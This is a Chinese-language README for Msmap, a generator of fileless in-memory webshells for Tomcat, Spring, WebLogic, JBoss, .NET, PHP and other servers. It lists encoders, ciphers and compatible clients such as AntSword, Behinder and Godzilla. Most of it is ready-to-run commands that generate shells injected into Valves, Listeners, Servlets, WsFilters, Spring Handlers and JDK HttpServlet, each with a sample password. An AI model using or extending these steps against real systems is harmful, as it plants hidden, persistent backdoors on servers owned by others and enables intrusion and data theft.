Msmap是一个内存马生成器,兼容多种容器、组件、编码器、WebShell / Proxy / Killer 和管理客户端。English
功能 [WIP]
- 动态菜单
- 自动编译
- 生成脚本
- 精简模式
- 图形界面
- Java
- Tomcat7
- Tomcat8
- Tomcat9
- Tomcat10
- Resin3
- Resin4
- WebSphere
- GlassFish
- WebLogic
- JBoss
- Spring*
- Jetty
- Netty
- JVM*
- .NET
- IIS
- PHP
- Python
*:SpringHandler仅支持JDK8+
*:JVM默认支持Linux Tomcat 8/9
,可以根据进阶指南适配更多版本
-
WebShell
- CMD / SH
- AntSword
- JSPJS
- Behinder
- Godzilla
-
没有模块化的必要
Proxy: Neo-reGeorg, wsproxy
Killer: java-memshell-scanner, ASP.NET-Memshell-Scanner
- Decoder
- Base64
- Hex
- Decryptor
- XOR
- RC4
- AES128
- AES256
- RSA
- Hasher
- MD5
- SHA128
- SHA256
git clone [email protected]:hosch3n/msmap.git
cd msmap
python generator.py
[注意] 尽量用独一无二的密码;各选项大小敏感
编辑 config/environment.py
# 自动编译
auto_build = True
# Base64编码类字节码
b64_class = True
# 生成脚本
generate_script = True
# 编译器绝对路径
java_compiler_path = r"~/jdk1.6.0_04/bin/javac"
dotnet_compiler_path = r"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"
编辑 gist/java/container/tomcat/servlet.py
// Servlet路径匹配规则
private static String pattern = "*.xml";
如果WsFilter使用了加密编码器,密码需要与路径相同(如/passwd
)
可以根据目标容器替换 gist/java/container/jdk/javax.py
与 lib/servlet-api.jar
pip3 install pyperclip
可启用自动复制到系统剪切板
CMD / SH
系统命令 搭配 Base64 编码器 | 注入到 Tomcat Valve
python generator.py Java Tomcat Valve Base64 CMD passwd
蚁剑
JSP类型 搭配 default 编码器 | 注入到 Tomcat Valve
python generator.py Java Tomcat Valve RAW AntSword passwd
JSP类型 搭配 aes_128_ecb_pkcs7_padding_md5 编码器 | 注入到 Tomcat Listener
python generator.py Java Tomcat Listener AES128 AntSword passwd
JSP类型 搭配 rc_4_sha256 编码器 | 注入到 Tomcat Servlet
python generator.py Java Tomcat Servlet RC4 AntSword passwd
JSP类型 搭配 xor_md5 编码器 | AgentFiless注入到 HttpServlet
python generator.py Java JDK JavaX XOR AntSword passwd
JSPJS类型 搭配 aes_128_ecb_pkcs7_padding_md5 编码器 | 注入到 Tomcat WsFilter
python generator.py Java Tomcat WsFilter AES128 JSPJS passwd
JSPJS类型 搭配 xor_md5 编码器 | 注入到 Spring Handler
python generator.py Java Spring Handler XOR JSPJS passwd
冰蝎
default_aes类型 | 注入到 Tomcat Valve
python generator.py Java Tomcat Valve AES128 Behinder rebeyond
default_xor_base64类型 | 注入到 Spring Interceptor
python generator.py Java Spring Interceptor XOR Behinder rebeyond
哥斯拉
JAVA_AES_BASE64类型 | 注入到 Tomcat Valve
python generator.py Java Tomcat Valve AES128 Godzilla superidol
JAVA_AES_BASE64类型 | AgentFiless注入到 HttpServlet
python generator.py Java JDK JavaX AES128 Godzilla superidol
JAVA_AES_BASE64类型 | 注入到 Spring Handler
python generator.py Java Spring Handler AES128 Godzilla superidol
Behinder | wsMemShell | ysomap